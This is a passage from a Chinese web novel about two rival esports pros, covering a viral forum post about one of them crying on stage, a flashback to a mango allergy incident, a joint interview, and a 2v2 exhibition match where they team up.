池一黎没有感情的嘴角也开始微微抽动,韩城难言欲止道:“……这就不了,哥们你这就有点让我想吐了。” 台上已经临时更换了计划,现在正在进行系统抽选的随机匹配组合。因为一早签署过特殊时间处理服从合约,他、牧绍与ZKS另外两名选手之间的pk直接顺移到了明天。 池一黎简单扫了一圈韩城递给他看的论坛内容,标题叫【谢邀,人在第一排扛大炮,看我拍到什么好东西】,一楼就是他□□高清的怼脸落泪图。 只要是个人就会哭,这有什么奇怪的?他只不过是场合有些不太对,但这也不是他能控制的。池一黎不理解这个已经被刷到6k+讨论度的帖子,对于里面一连串的【豹豹猫猫请和好】也不予置评,随手把麦摘了扔到桌子上。 牧绍倒是在一旁对着标题起了兴趣,腿一叠靠在桌子上,把麦和池一黎扔下的那个放到一起,懒懒说:“劳烦这位池一黎最默契的搭档、第一上野组合的打野,能否把链接发我。” 池一黎拿了一瓶桌子上免费供应的矿泉水,听到他的称呼半冷不热地扫过去一眼,与一直盯着他看的牧绍对视起来。那双眸子漆黑无比,眸瞳点着顽劣的笑意。池一黎只一撇而过,收回视线拧开手心里的矿泉水盖。 韩城对牧绍嘴里的称呼颇为受用,喜笑颜开地道:“行啊村长,你这个人还挺会见人说人话的啊。” 云醒正从一旁下台往这里走来。他的绿色头发被上方中央空调的冷气吹起,看着池一黎仰头喝水时滚动的喉结,不由得走过去抿唇道:“池哥,刚刚你和……你没有事吧?” “刚刚和我在台上?啧,我能把他怎么样。”牧绍翻着手机毫不在意地插话,“我俩之间只有我去医院的份。” “嗯,”池一黎认同他的话语,湿润的薄唇像是涂了透明色的唇膏,嘴角微扬起来,“他的确应该去一趟医院脑科。” 被人这么说是个人都会发怒,云醒太清楚牧绍那已经出圈的不好惹脾气,小幅度回头看过去,却看到他还是靠着桌子在看手机,完全没有要和池一黎在这方面呛声的意思,似乎已经习惯起来。 “我点了奶茶,”云醒想了想说,“杨枝甘露,作为上次角色卡的回礼。” 池一黎表情微微一顿,没有开口。 “小云醒,你这可不对了。”牧绍一把关上手机走过来。他单手搭到云醒肩上,直视着池一黎的眉宇一挑,语气带笑地意有所指道,“娇气的小哭包池一黎对芒果过敏,你应该给他换成西瓜味的。” 话音落下,韩城不加掩饰地惊讶起来,猛地转头看向池一黎:“三水,我怎么不知道你竟然对芒果过敏?!” 第30章 池一黎对芒果过敏这件事一开始除了父母和自己外没人知道。 他又不是小孩子, 自己不能吃的东西当然心里有数,查了配料表就不会去点。但那次的抹茶芭乐慕斯蛋糕的确属于是笑里藏刀般出其不意,它竟然把芒果搅碎加到了蛋糕胚里。 那是三年前, 他和牧绍在联盟总部大楼拍摄一年一度的电子竞技先行宣传海报。身为联盟中人设最向偶像靠拢的两个现役选手,平日里的工作就是开直播拍广告然后再才是训练。 池一黎所在的俱乐部和总部在一个市,牧绍离得要远些, 他是坐飞机赶过来的。 两个人在一个摄影棚,联盟主席老周捧着奶茶从顶楼下来监工,溜了一圈给场内所有人一人送了一个小蛋糕, 说他女儿新店刚开业。 那会儿国内赛刚刚结束, 所有人都在为三月后即将到来的世界赛做准备。池一黎打法太独,只适合在单人模式carry全场,而韩城对上牧绍又毫无还手之力, 以上野为核心的HWD已经第三次在团队战中被单野核战队ZKS稳压一头。 牧绍拍完自己的那一部分就靠在桌子上去看池一黎。后者脸色冷漠地站在灯光下,双手抱胸的老头动作也被做的异常有视觉冲击性,那双浅到看不真切的眸子微微睥睨,像面前所有人在他眼里都微不足道。 牧绍看着看着就莫名其妙地笑起来。他身上和池一黎穿着一样的衣服, 是联盟为了拍宣传片统一定制的纯黑色制服, 每个人名字的首字母大写用花纹英语印在后背。 旁边负责发蛋糕的主席助理刚好经过他面前,狐疑地看了一圈他:“牧绍, 你丫笑啥呢?” 牧绍接过来把蛋糕几口塞进嘴里,嗯……刚刚从冰柜拿出来, 白巧南瓜配奥利奥,味道超怪,冷的跟正在拍摄的那个人有得一拼。他懒洋洋地咽下去回应道:“池一黎啊。” “他那张冰块脸有什么好笑的,”主席助理啧声,“你不能因为赢了人家三年就这么嚣张吧?” “不是, ”牧绍想了想换了个词说,“挺可爱的啊,抱胸那动作。” “可爱?”主席助理扫他两眼,只当他是在阴阳怪气:“联盟统一老头乐。小池那么帅的,只有你做的话我会取笑。” 池一黎拍完下场。与牧绍随意披在肩上的外套不同,他黑色制服的拉链因为摄像师的指示拉到了领口最上方。修身衣摆收进腰裤里,站在那里比周围所有工作人员都高了半个头以上,迈开大步下场的时候像是在走T台的模特。 牧绍把蛋糕盘扔进脚下的废纸箱子里,又从主席助理放在桌子上的箱子里拿出来一个,饶有兴致地开口喊他:“池一黎,来一起吃蛋糕?” 池一黎听见声音收回看向门口的目光,没什么神色地向他走去。 “别这样表现地好像你两关系多好一样好吗,哥们?” 主席助理看见紧跟着池一黎一起扛着摄像机跑来的工作人员,知道这是在录制后期花絮,不由得开口道:“最近比赛刚结束,你们战队粉丝撕的太恐怖了,我昨天公关到凌晨三点还在处理你们那些战队粉丝投诉。” “我两关系怎么不好了?”牧绍只挑自己想听的听,提高了声音道,“我们,可是彼此唯一的宿敌啊!” 主席助理嘴角抽搐:“从松闵那小子又给你看什么同人文了……?” 池一黎刚好走过来,他顿了一下,很冷漠地反问道:“我和你关系,好?” “啧,明明前几天在休息室里还说我是唯一,”牧绍把手上的蛋糕递给他,语气拖腔带调道:“这份给和我关系好的、好玩的对手池一黎。” “有点恶心。”池一黎简短评价。 “……是非常恶心才对吧。”主席助理对这两位无话可说。 池一黎没有去接牧绍递给他的那个黄色的,毕竟从颜色上就有很大的概率是芒果味的。池一黎往桌子上的箱子里大体扫了一眼,垂眸挑出来一个粉绿色的小蛋糕,看起来应该是抹茶草莓味道。 那节修长冷白的食指指节微微屈起,提着蛋糕包装盒上的丝带轻轻一勾,像是飘一样蛋糕就稳稳地落在池一黎手心里。 牧绍顺着蛋糕移动的轨迹把目光停留在他冷酷无情的脸上,那一颗痣太过显眼。牧绍观摩着若有所思地开口:“你喜欢这个口味?感觉像是女孩子会喜欢的。” 池一黎三两下挑起丝带拆开包装,随口回他:“我都喜欢。” “好吧,可爱的少女心池一黎。”牧绍耸耸肩表示你喜欢就好,转移话题又开口问,“听说你最近邀请了一个主播去你们战队?” “全能型中单?”牧绍漫不经心地补充道,“打的确实很好,但他的打法更适合来我们战队。” “你说不准,”池一黎神态毫无波澜,客观地回他说:“风格都可以练出来,位置也可以更换。” “诶,但他好像是我的粉丝呢。”牧绍笑起来,类似于挑衅地挑眉去看他,“如果我们一起邀请,你猜他会选择来哪个战队的青训营?” “你可以去试试。”池一黎叉起一小块蛋糕塞进嘴里。 牧绍的视线落在他的嘴唇,那双薄唇颜色浅地凉淡如水,唇畔沾染些许冷峭的弧度,只浅浅地张开就把叉子送进去,白色的牙齿磕碰到哑光色的金属叉齿,隐隐约约能看到里面艳粉色的舌尖。 牧绍盯了一会儿,又想开口说他是男人吗怎么只吃这么一小口,却看到池一黎短促地皱了下眉,把叉子进蛋糕里放到桌子上,转头问一旁的主席助理:“芒果?” 主席助理一愣:“应该吧,小周姐做的味道都很怪。” “你不喜欢芒果?”牧绍语气悠悠地开口,毫不见外地伸手拿着池一黎刚刚用过的叉子剜下来一大块蛋糕,几口嚼完咽下去。 确实是一股很浓的芒果味,牧绍随即眉梢一扬调笑道:“池一黎,你还挑食啊。” “过敏。”池一黎还是那副冷酷的面瘫脸,像是皇帝般给了他一个自己体会的眼神。 他只吃了一点,过敏反应并不严重,只是皮肤肉眼可见的微微泛起红色。在一旁的主席助理连忙去翻一旁箱子里的冰袋递给他。 牧绍紧随其后地掏出口袋里的车钥匙,一把拉住池一黎的衣服袖口往外走:“可怜的少女心池一黎,来让我送你去医院。” #赛后神帝闪现医院疑似大打出手 这个词条,当天稳稳地登顶了热搜榜一。 面对韩城大为震惊的反应,牧绍的表情也变得奇怪了起来。他收回搭在云醒肩膀上的手,往池一黎旁边的位置一站,半靠在桌子上说:“啧,我以为你们都知道啊。” 池一黎从来不说自己喜欢什么不喜欢什么,仿佛对什么都是一副无欲无求的态度。明面上的爱好甚至都是这几年来四个队友一个一个试探出来的,自然不知道他从来没提过的事情。 韩城略微不爽地开口:“你是怎么知道的?” 牧绍想都没想地回他:“三年前,先行宣传片。” 韩城作为冲浪小能手,一秒就立刻回忆起了那段时间的热搜,迅速定位到两个人去医院的那一条,但还是没有什么可用的记忆。 当天广场除了战队粉掐架就是cp粉在为双人拍摄发疯,完全没有一个讨论两个人去医院是干什么,也没说为什么去。 没有官方解释又碰上宣传片拍摄,统一都默认医院是那一年的拍摄场景,毕竟已经有了第一年在财局门口拍宣传片的前车之鉴。 这年头营销号太会胡编乱造,韩城和池一黎勾肩搭背地去一次商场游戏厅都能编出他们俩领证隐婚在约会,这种热搜词条单纯看个乐子就好,完全不能当真。 而且如果真是热搜上那样写的两个人大打出手,联盟的禁赛公告在热搜上之前肯定就已经火速挂上了,于是他翻了一圈广场就没了兴趣。 “好吧,”牧绍懒懒摊手道,“我剥夺你是哭包池一黎最好的队友搭档这一称号。” 池一黎把喝完的小瓶矿泉水扔进纸篓,抬头时就看到韩城神色凝重地望向他:“三水,我是你最好的搭档吗?” 从他进HWD开始打野就一直是韩城,这句话完全没有逻辑。池一黎扫过牧绍看热闹的表情,语气略微带了点认真地回他道:“我只有你一个搭档。” 虽然完全不是自己想听的,但韩城还是忍不住嘚瑟起来。转身看到池一黎面前站着的那个人,韩城走过去以一副过来人的语气拍拍他的肩安慰道:“没事啊三连转小绿毛,就算你买了一百个芒果,三水都还是喜欢你的。” 毕竟比起邪门到极致的牧绍文学,他还是比较磕池一黎为爱连转三条的小绿毛。 云醒一直在看着池一黎。随着韩城的话语落下,眼前这双浅到如同玻璃珠一般的眸瞳就这样移动过来和他对视住,这道目光太淡太冷,云醒不由得像是做梦一样恍惚起来。 他稳了下心神接着说:“池哥,那我一会儿请你吃饭吧。” “那干脆两个战队一起好了。”ZKS射手队长从松闵的声音从后方传来,“一说换流程就直接跑下来了,小云醒,你就这么把我和你于起哥丢在台上?” 云醒回头叫了声队长,等了几秒钟,又转回去继续邀请池一黎明天的饭。 从松闵看着池一黎那张冰一样冷的轮廓,觉得好像刚刚自己在台上产生了某种幻觉,凑过去转头小声问牧绍:“你刚刚那些话怎么回事?” “什么怎么回事。”视线停留在池一黎鼻梁的那颗痣上,牧绍随手拿过桌子上的一瓶矿泉水拧开瓶盖。 从松闵麦了这么多年麸也不及牧绍这位天赋选手半分,难以言喻道:“你说他是爱哭的家伙……” “他就是啊。”牧绍想了想,很不在意地回道,“爱哭鬼,我也没说错。” “……我最近转发那几篇同人文你该不会都看了吧?” 看到牧绍递过来‘那不然呢’的桀骜神色,从松闵勉强地问道:“你实践了?”不然池一黎被他调侃几句反应那么大干什么,人都掉小珍珠了。 牧绍不可避免地回忆起那篇同人文最近更新的内容,最近已经不怎么流行几年前的战斗对立风格,反倒是感情线涩情向偏多,于是说:“我是那种流氓吗?” “你怎么不是。” 从松闵想到刚刚台上池一黎那一瞬间的神情,再一对比此刻正在垂眸和云醒交谈时的表情,感叹起来:“啧,真不愧是雪人……” 话到一半,他突然想到什么,转头问:“……我没记错的话,你之前好像也说过你喜欢云醒?” 如果他没记错的话,在云醒还没入队的时候牧绍就在看他直播了,也是他邀请的云醒来他们战队。今年队内的中单刚好因为年龄问题荣光退役,于是云醒才从青训营出来就被提到一队。 “小云醒年纪小还又厉害,谁不喜欢?”牧绍完全不加思考地点头,向空中高高抛起瓶盖道,“好玩的哭包池一黎也喜欢啊,我们是情敌中的宿敌。”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 从松闵问今天的场次结束后要不要两个战队一起聚餐, 饭钱由他和还根本不知道这件事的HWD队长白书罗包办。 队长出钱不是惯例,从松闵这样说摆明了要拉白书罗一起下水。后者看着温柔和煦,实际上一被挑衅就秒速上钩, 但他又不能光给ZKS战队付钱,没到场的其他HWD成员就会被拉着一起参与进来。 能免费白嫖的为什么不去?但是回忆起这几年来每次聚会的场景都过于深刻,韩城身为说话太贱总是被针对的那个人, 对于和敌队战队的人一起吃饭这件事情有些深恶痛绝。 HWD战队今天就来了三个人。白书罗现在正在录制采访的地方等他们,于是韩城转头想去问问池一黎的想法。毕竟如果两票否决,白书罗也不可能真的一个人去。 池一黎神色还是一样冷漠, 没什么表情地在他身旁走着。他单手插兜, 一双长腿笔直有力,垂眸扫过韩城的眸子没什么情绪,关于这件事保持全然无所谓的态度。 抵不住云醒的第三次单独邀请, 他刚刚也点头答应了下来。 俱乐部经理代乐打电话说半小时前台上发生事故的话题上升速度有些过于惊人,现在到达了热搜第一的位置,已经联合联盟总部那边在紧急控评。 牧绍在台上的行为与话语过于暧昧不清,池一黎又当众表演了什么叫做‘四句话为一个男人当众落泪’, 广场上唯粉和各种cp粉现在撕的不可开交。 “别告诉我说你们真谈了, ”代乐语气诡谲地在电话那头道,“大宝贝, 你这叫叛变。” 池一黎言简意赅地说:“没谈。” “那你怎么掉眼泪了?”代乐回忆起自己在直播间里听到牧绍说的话,除了内容奇怪了点, 完全和平时一样语气恶劣又阴阳怪气,没有哪一点能让池一黎这种平时就深受毒害的人情绪变得不稳定。 只能是这些话语背后牵扯到的事情,冷酷冰山又怎么能被叫做是‘爱哭的家伙’,代乐浅磕了一口,不由得问道:“他背地里也把你欺负哭过?那晚上是什么回事?” 这句话听着太过恶俗, 完全是在污蔑他这个纯良的人。池一黎顿了下,回她前一句话:“我控制不住。” “什么?”代乐对他这句话不解起来。在一旁光明正大偷听的韩城思索着,把视线移动到他脸上。 那张高冷英俊的面容没有什么波动,举着开了免提的手机冷漠地回复道:“流泪。” “……控制不住流泪?”韩城紧跟着重复了一遍。他思考了几秒,发现自己整整六年其实都没有怎么看到过池一黎的眼泪。 更为准确的说,成为队友这么久来他只看到过一次。 池一黎的情绪管理太过优秀,个人隐私保护的也极其周密,以至于联盟百科对他的信息解释甚至没有刚成为职业的新生代多。 而在韩城记忆里的上一次落泪,还是在六年前池一黎第一次获得个人赛冠军的时候。 那是他在世界赛场上的新人第一场首秀,直接打破了被其他国家垄断许久的记录,成为代表上单水平的冠冕之王。这项荣誉太高,以至于所有人都在庆祝狂欢,唯独池一黎这位获奖得主在下台后不见踪影。 韩城在心里蛐蛐他这么大人了还要玩失踪,平日里沉默寡言面瘫脸就算了,至少长相无可挑剔的伟大,不笑也让人赏心悦目。但消失也一声不吭,这实在有点让人担心。 他只得认命地挨个翻过自己认为池一黎可能会出现的地方,最后发现他一个人蹲在楼梯的拐角角落里,听到声响静静地抱着奖杯抬头看他。脸上亮晶晶的液体滚落下来,把黑红色的队服沾湿了很大一片。 代乐阅历丰富,一秒就反应过来这个病症,啧声道:“泪失禁?” 她是该说池一黎情绪控制的太好以至于这么多年都没有让他们发觉,还是该去赞叹牧绍这个家伙能轻而易举让冰山破功。 这病配上他回答问题时冷酷无情的声线未免太过反差般可爱,联想到池一黎实际上也才二十三岁的年纪,代乐不放心地再问了一次:“……总之他没有欺负你吧?” 他这么大一个人,为什么都会觉得让人欺负了。池一黎实在不理解他们的脑回路,回答说:“没有,也没谈。” “三水,你这样不行。”韩城恨铁不成钢地在他挂了电话后说,“如果真被欺负了你要说出来!say ‘no’you know?” 一想到牧绍比他还先知道池一黎的泪失禁体质,韩城就又后悔刚刚那一拳怎么是擦着耳朵而过,夹带私货地果断道:“什么聚餐,不去了!我们离他远一点,反正你明天还要去和小绿毛单独吃饭……” 采访室离得不远,韩城絮絮叨叨了一路终于停下口舌。队长白书罗就站在门口看手机,抬头看见他们的第一眼不是笑着问好,反而立在原地略有所思地看起池一黎来。 “队长,你看什么……”韩城顺着他的目光看过去,回头一望,一个人顶着那张分外熟悉的脸就站在池一黎身后,脱口而出道,“……我嘞个村长!” 池一黎下意识微侧身体看过去,动作间皮肤隔着薄薄一层衬衣贴到另一具温热的躯体,他抬起眼皮,凉薄的目光扫视过去,发现牧绍与他的距离近在咫尺。 今天的采访只安排了HWD战队的三个人和个别的其他战队,没有任务的牧绍出现在这里非常奇怪。 池一黎保持着这个姿势看着他。 裸露在外的手臂接触到冰冷的凉感衬衣,碰触到时的温度就和池一黎这个人一样冷。牧绍垂眸就能清晰地看到他鼻梁的那点灰痣,与他对视的那双眸瞳淡到像是两片雪,眉眼凌厉到充满攻击性的俊美漂亮。 牧绍懒懒抬起手说:“西瓜。” 他手上拿着一杯标着西瓜啵啵标签字样的果茶,用奶茶袋装着,杯身椮着微凉的气息。 “干什么?”池一黎问。 “大概,是作为没拿到云醒那杯的意外收获?”牧绍把果茶往池一黎自然下垂的右手上挂去,看着他弯曲起食指勾住又笑起来,“不然伤心的池一黎又掉金豆豆了怎么办?” 能不能不要抓着这方面不放,而且他也不会因为喝不到一杯奶茶就掉眼泪。池一黎勾着果茶沉着心忍了又忍,说:“你好烦。” “你不如把给我说的话改成‘你很烦’,”牧绍贴着他的胳膊站了一会儿,略微深思地开口说,“被我好烦的池一黎,你这样是攻击不到我的弱点的,太像撒娇了,我无伤反甲。” “……”这人打游戏打傻了? 池一黎沉默了下,冷漠回应:“反甲在哪?” 这头池一黎和牧绍紧紧挨在一起,那头韩城站在白书罗旁边回忆了一下自己刚刚都说了什么,当面说人坏话的心虚感略微地浮上心头。 韩城微提音量试探道:“村长,你该不会一路都在吧?” 他话语落下,牧绍接完池一黎的话才转过脸挑眉,毫不客气地点头承认道:“对啊,我跟了一路。” 牧绍承认的太过爽快。韩城的心虚感更上一层,但转念一想,牧绍这样的人还能跟鬼一样跟了一路都刻意不发出声音,应该是他故意偷听的问题啊! 白书罗拿着手机微笑起来,问他:“那个在原地送奶茶的敌队物种是怎么回事?” 韩城看着他手机界面上的论坛标题,酝酿措辞道:“……他两,一个把一个惹哭的请罪关系?” 这时工作人员从房间里探出一个头来,简短观察了一圈让实习助理去请他们入场。 白书罗在他们来之前刚录完单采,射手和辅助的昨天就已经拍摄完毕,队内就剩下他们两个,再然后就是过几天集结的团体向。 池一黎虽然相貌冰冷,但并不属于那种不好说话、或者冷冰冰不好好回答问题的类型。相反的是,他是最受记者喜欢的那一批人。因为他回答问题的话语能明显感觉到是经历过思考的,从自己的观点出发商讨思维战术或者释放技能的时机,除了涉及到私生活的问题,就像是一个科普博主那样每一点都认真解读对待。 问题稿已经提前给他们看过,池一黎单手握着西瓜啵啵的杯身,另一只手插进兜里转身跟着工作人员走进去。 衬衣的下摆因为他抄兜行走的动作而叠起几层聚拢在腰线处,隐约露出里面冷白色的皮肤。牧绍盯着他的背影在原地站着,过了几秒,一个脖子上挂着工作证小牌的女人拿着一堆小卡片凑过来问他:“诶!牧神,一会儿可以抽几分钟时间让我同时采访你和池哥吗?小型的双人采访。” 双人采访? 牧绍即刻弯下腰笑起来:“你问我不管用啊,好玩的池一黎不愿意的话我也没辙……” “他不会拒绝的,我会写进流程内一起结算。”女人听到他的称呼时不加掩饰地勾起唇。听到牧绍又拖长腔调道:“那让我先看看你的稿子,你打算问什么? 她从衣服口袋里掏了掏,摸出来另外一本很厚一沓的随身小本子递给他,说这上面的我都想问,您随便看看。 第32章 池一黎刚录完单采就被工作人员叫住, 请他去另一个房间和牧绍一起拍毫无征兆且突然增加的双人采访。 流程里没有提前说明这个。 池一黎对突然增加的工作情绪不高,但也没有什么反感的心情。平日里的广告拍摄与宣传就已经占据了大半时间,习惯后就接受良好。更何况比他矮一个头的小姑娘合并双手仰起脸恳求地看他, 说只要几分钟就好。 手上的西瓜啵啵还没有喝几口,微凉的冷气与手心过渡,小水珠沾在外壁, 触摸时有些湿漉漉的。 池一黎转头看见牧绍用胳膊肘撑着门框站在门口,痞戾的轮廓如同锋利的刀,懒懒对他说:“你还没喝完啊。” 小姑娘眨眨眼睛, 看到池一黎素白色的指节, 目光落在奶茶杯的蓝色外壳,又圆溜溜地在他们两个人之间徘徊。 池一黎垂眸问她:“什么时候开始?” 只等他说出这句话就能开始。 小姑娘在最前面引路,牧绍放缓了步伐跟在他身后, 伸出手去揪他侧翻的衬衣下摆,手指不经意间触碰过温软的腰窝,池一黎瞬间敏感地绷直了身体,回头抿唇看他。 “干什么…?”他问。 牧绍摊开手, 翘起嘴角:“我帮你整理衣服而已。” 采访主持人提议说, 要不要先聊点题外话热热场子。 不是几分钟就好?但牧绍看了一眼和他并排坐着的池一黎,细扫过他没有什么不悦的神态, 于是毫不在意起来。 采访房间很大,最中间的沙发上可以同时坐下五个人。但是牧绍紧挨着池一黎落座, 非要和他一起挤在沙发最左边 。两个身高腿长的人被迫紧紧贴在一起,彼此身体的温度都能互相感知。 牧绍故作安静地坐了几秒,把左小腿搭在右大腿上,又恢复了去哪里都像回家一样的姿态,左膝盖处的布料随着他的动作磨擦过身旁人的大腿, 带来丝丝微不可查的痒意。 池一黎把握着奶茶的那只手担在沙发的扶手上,冷漠地微微侧头问道:“我们非要这样坐吗?” “节省机位啊。”牧绍勾起唇道,“离得太远一个画面框不下,摄像机岂不是还要左右摇摆。” 池一黎扫过对面的一群人和旁边没有在闪光的三个摄像机,凉凉道:“可以分别固定。” 牧绍懒散地向后靠,把左胳膊伸长搭在沙发上笑:“但是坐那么远,不知道的人还以为我们关系很差,战队粉丝又撕起来怎么办?好玩的池一黎,我们要以身作则地维护粉丝之间的友谊与和平。” 池一黎顿了一下,冷漠无情地开口道:“我们关系很好?” 这句话到底是疑问语气还是肯定语气?池一黎没有拖长腔调的习惯,在旁人听起来语调不太明确。采访主持人在这契机见缝插针地问话:“池神,我看你手上两场采访都拿着奶茶,您喜欢喝什么口味?” 池一黎说:“都喜欢。” “少女心的池一黎当然最喜欢西瓜和草莓啊。”牧绍紧随其后地在一旁接话说:“其实也买了草莓味的,但那杯被我一口就喝完了。” 这倒是真的,牧绍就尝了一口,再吸了一下,摇摇杯子里面就已经空了,根本没尝出那是个什么味道。 问池一黎的问题怎么你回答上了? 带着工作牌的女人在对面小声凑过去对着一旁的助理道:“这块到时候记得后期配字,‘被男同性恋吓晕’。” 助理打开手机备忘录,郑重地点头应下。 主持人零零散散问了一些完全和职业无关的问题。池一黎不太喜欢这种隐私被窥探的感觉,答题时话语言简意赅,和刚刚单人采访时完全是两副态度。 主持人合上手卡,报出最后一个问题:“有什么想和对方说的吗?对彼此说一句话吧。” 池一黎没什么想对牧绍说的。无非是“我会打败他。”“下一次赢的会是HWD。”,但这些早就被他回答烂了。 思索间牧绍好像又在后方戳他的腰窝,池一黎转头冷脸开口说:“你很烦。” 牧绍正低着头在把他被窝在一起的衬衣扯平整。黑色的水感衬衣滑溜溜的,抓了好几次都没抓住,闻言立刻回答道:“好吧,说我很烦的池一黎,你真不可爱。” 采访结束后因为韩城“我们今天只来了三个人,但队长却要平分你们四个人饭钱”的誓死力争,两战队的约饭并没有达成。白书罗饱读论坛,向牧绍望去的目光像是大审判官。 “白队,你这么看着我干什么?”牧绍何其无辜,说,“我也没抢你最强中单的称号啊。” 不提这茬还好,白书罗昨天新生挑战赛刚被云醒打败,最强中单的称号早就拱手让人。闻言扶额道:“没什么,是我多虑了。” 他在担心什么,被论坛上的风气都被带偏了思维,牧绍简直完全不会说话。 牧绍看着池一黎,后者正在扔手上刚刚喝完的奶茶杯子,眼睫又长又浓,扇形的阴影根根分明地洒落下来,冷白色的侧脸像是水墨丹青。 他欣赏了一会儿,摆手懒懒笑起来:“被我烦到的漂亮池一黎,那我们明天见。” 漂亮?这个词语和池一黎的外表完全不能联合在一起。 如果对象是男人,这词语应该被用来描述云醒那样长相的人。池一黎星眸剑眉,身型挺拔高大,五官深邃到不含任何情绪,轮廓如同被工刀刻画出的冷硬薄凉,远远望去完全是行走的冷酷代言人。 韩城坐在回俱乐部的车上深思了一路,还是没能得出这个结果。 队内辅助的女朋友今天过生日,他人不见踪影,客厅里却摆了一个十二寸的蛋糕,最上面已经被切了一小块缺口。射手庄路弥打着哈欠从楼上下来,说辅助今天晚上不回来,他没忍住先吃了一点。 “怎么回事啊三点水,”庄路弥熟练地搭上池一黎的肩膀,调侃道,“论坛今天都爆了,唉我怎么不在现场,你能不能现在哭一个给我看看?” 池一黎面无表情地看着他,神色像是冰冷的雕塑,一点也没有掉过眼泪的痕迹。 “牧绍那狗又做什么了?”庄路弥问,“咱家大宝贝哭起来真好看,今晚要不要来和我一起看苦情小电影?” 照经理代乐的说法,情绪波动就会忍不住流泪,那苦情剧绝对是催泪的最佳选择。 “你小子说话小心一点。”韩城正在和白书罗一起分蛋糕,听到这句话举着塑料刀转身道,“控制不住是自然现象,被弄哭的话我先给你一拳。” 白书罗对着身边这个口嗨暴力狂叹了口气:“你说话能不能注意点。管好自己,怎么这么想被禁赛。” 韩城把切好的蛋糕塞到池一黎手上,想到刚刚两个人的那种奇怪氛围,又狐疑地问:“你和村长真没什么别的关系?” “没有。”池一黎接过来认真地说,“没谈,也没任何关系。” 庄路弥在一旁喊:“那云醒呢?他可是你三连转的对象!一转相识二转定情三转订婚,爸爸妈妈你们不要离婚啊!” “没关系,今天村长也在,”韩城说,“你爸妈明天结束后还要去一起吃饭。” “你说清楚一点,”庄路弥问:“哪个爸?重婚也犯法的。” 池一黎的大脑尚且理解不了他们在说什么,沉默了一下打断韩城又要开口的话:“你们少看点论坛。” 少看是不可能的,一天不看就更不可能了。韩城表面上点点头,看到一旁的庄路弥摸出手机熟练地查询词条搜索。 全明星挑战赛的第四天继续进行昨天被打断的组合战。词条热搜仍然在手舞足蹈的进行狂欢,各类抽奖层出不穷,那些粉丝哪怕已经疯了整整一个晚上也仍然无比亢奋。池一黎随手看了一眼就退出了账号。 出门前代乐打电话说要穿联盟投资商送来的品牌衣服,已经洗好放在客厅,让池一黎记得换上。 简单的黑色不规则拼接短袖,左领口到右下方口袋斜跨着一条细细的长链。这略微朋克的类型并不是池一黎平时的穿衣风格,而之前投资商就算要他隐形带货一般也都会照着他喜欢的风格来。 问题在见到牧绍时迎刃而解。开场前牧绍在后台等他,橙色的头发鲜艳无比,身上穿着样式一样的白色短袖,在上台前向他颔首示意:“多指教啊,亲爱的队友池一黎?” 池一黎熟悉他的任何风格和思路,但不确定自己能否可以配合好他。只要有队友他就会习惯性地去压制自己的实力,这个特征一时半会改不过来,于是只短暂的点了点头。 繁杂的主持人互动结束后就开始比赛,今天的主持人是另外一个明星,但换成谁池一黎都平等的不认识。 他站在机位上往台下一扫,看到一堆〖三连转请结婚〗〖绍醒爱将降临〗〖竞男麦麸就是让我磕的〗中第一排那个无比显眼的长尺寸灯牌。 灯牌内容是〖从前现在,都是彼此〗,左上角缀了他和牧绍的首字母大写。 从前现在,六年归来他还是手下败将与万年老二。 牧绍把自己的键盘安装好,凑过来问他:“你在想什么?” 池一黎沉心道:“如何打败你。” “那这个我可满足不了你,”牧绍啧声道,“平日你也略输我一筹,更别说我们今天还是队友。” 池一黎不想再和他交流。迅速又仔细地将自己的键盘与主机安装链接起来,输入密码登录账号。 2v2模式是去年才新推出的,《契约计划》里角色技能过于丰富,任意两两随意组合都能触碰出不一样的视觉体验。 池一黎最擅长的角色技能虽然很独,但身为后期英雄前期还是需要队友配合。池一黎原本以为这局可能会输掉。ZKS的射辅组合是大前期的版本之子,两个人的配合也是出了名的恶心难缠,而他和牧绍却是第一次组队。 昨天晚上睡觉前他在脑海里演示过今天这局游戏可能会出现的场景,通通都止步于前期他发育被搞状态时牧绍没能及时支援。 毕竟这位打野是出了名的狂,他的每一场对局向来都是靠队友主动去配合他、猜他的思路和下一步的做法。而ZKS以他为核心,他想带什么样的节奏都随心所欲。 牧绍的成名英雄拥有强大的控场能力。娱乐局都是默认选用粉丝最想看的组合英雄,而这两位同时出现在一个队伍里简直就像做梦。没有教练提供战术指导和言语婉拒,不用思考就直接锁定。 与此同时对面ZKS的射辅也准备就绪,熟练地锁定了自己擅长的角色。 池一黎和他竟然诡异地配合的很好。 他在开局几分钟就被草丛里不知道苟了多久的对面辅助用技能缠住,随之而来的是射手的一整套高额攻击,几秒里血条瞬间消失秒变残血状态,池一黎迅速爆手速买了治疗包,移动小地图看牧绍的位置。 顶级战队里没有闲人,ZKS的射辅自然不会错过这次机会,眼看着即将把首杀收入囊中,牧绍操控角色瞬移而来,一个大定住了射辅即将放出的致命一击。 池一黎的角色血越少攻击力越高,同时还自带吸血和回血的被动天赋,牧绍的定身和配合给了他可乘之机,迅速反手拿下二杀。 有着呵护小婴儿一般无微不至的顶配高意识流队友,池一黎发育的速度前所未有的快,后期发育起来后神挡杀神,拿下胜利不费吹灰之力。 “我每次来的都很及时?”牧绍勾唇看他。 “嗯。”池一黎点点头。他太久没能体会到这种不管打的多离谱队友都能跟得上他思路的爽感。打法像是完全被牧绍摸透了,不然不可能每次都出现地那么及时。 这么一想来,团队战输给牧绍全然是情理之中。 赛后握手时从松闵看着牧绍吊儿郎当得意的神色,挑眉而立:“真活久见了,你竟然还会支援队友。” “总不能输给你们吧,”牧绍对于痛击自己现任队友这件事情完全无所谓,更何况这只是个娱乐局。 他侧头去看池一黎扬了点笑意的嘴角,那双眼睛在灯下像是闪着碎钻,他的目光有些不能离开,“第一次,输了那我可太亏了。” 池一黎收拾设备下台,将键盘设备递给等在台下的经理助理拿去保养。转身时云醒就捧着一杯草莓奶茶递给他,眨眨眼睛抬头问:“我们什么时候一起去……” “你们打算去哪?”眼看池一黎没有伸手接过,牧绍搭上云醒的肩膀,顺手把他递奶茶的胳膊拉回来,懒散道,“我也饿了,带我一个?” 云醒抿起嘴。牧绍是他喜欢了六年的偶像,对他很好,更是把他一步步提拔到一队的人。但是池一黎昨天的神情在他脑海里总是挥之不去,晚上回家做了一整晚梦。 他定了定心神,说:“牧神,我想和池哥单独一起,下次再请您可以吗?” 牧绍挑眉去看池一黎的神色,见云醒说出这句话后他就神色微动,立刻不爽起来:“单独?我又不是外人。” 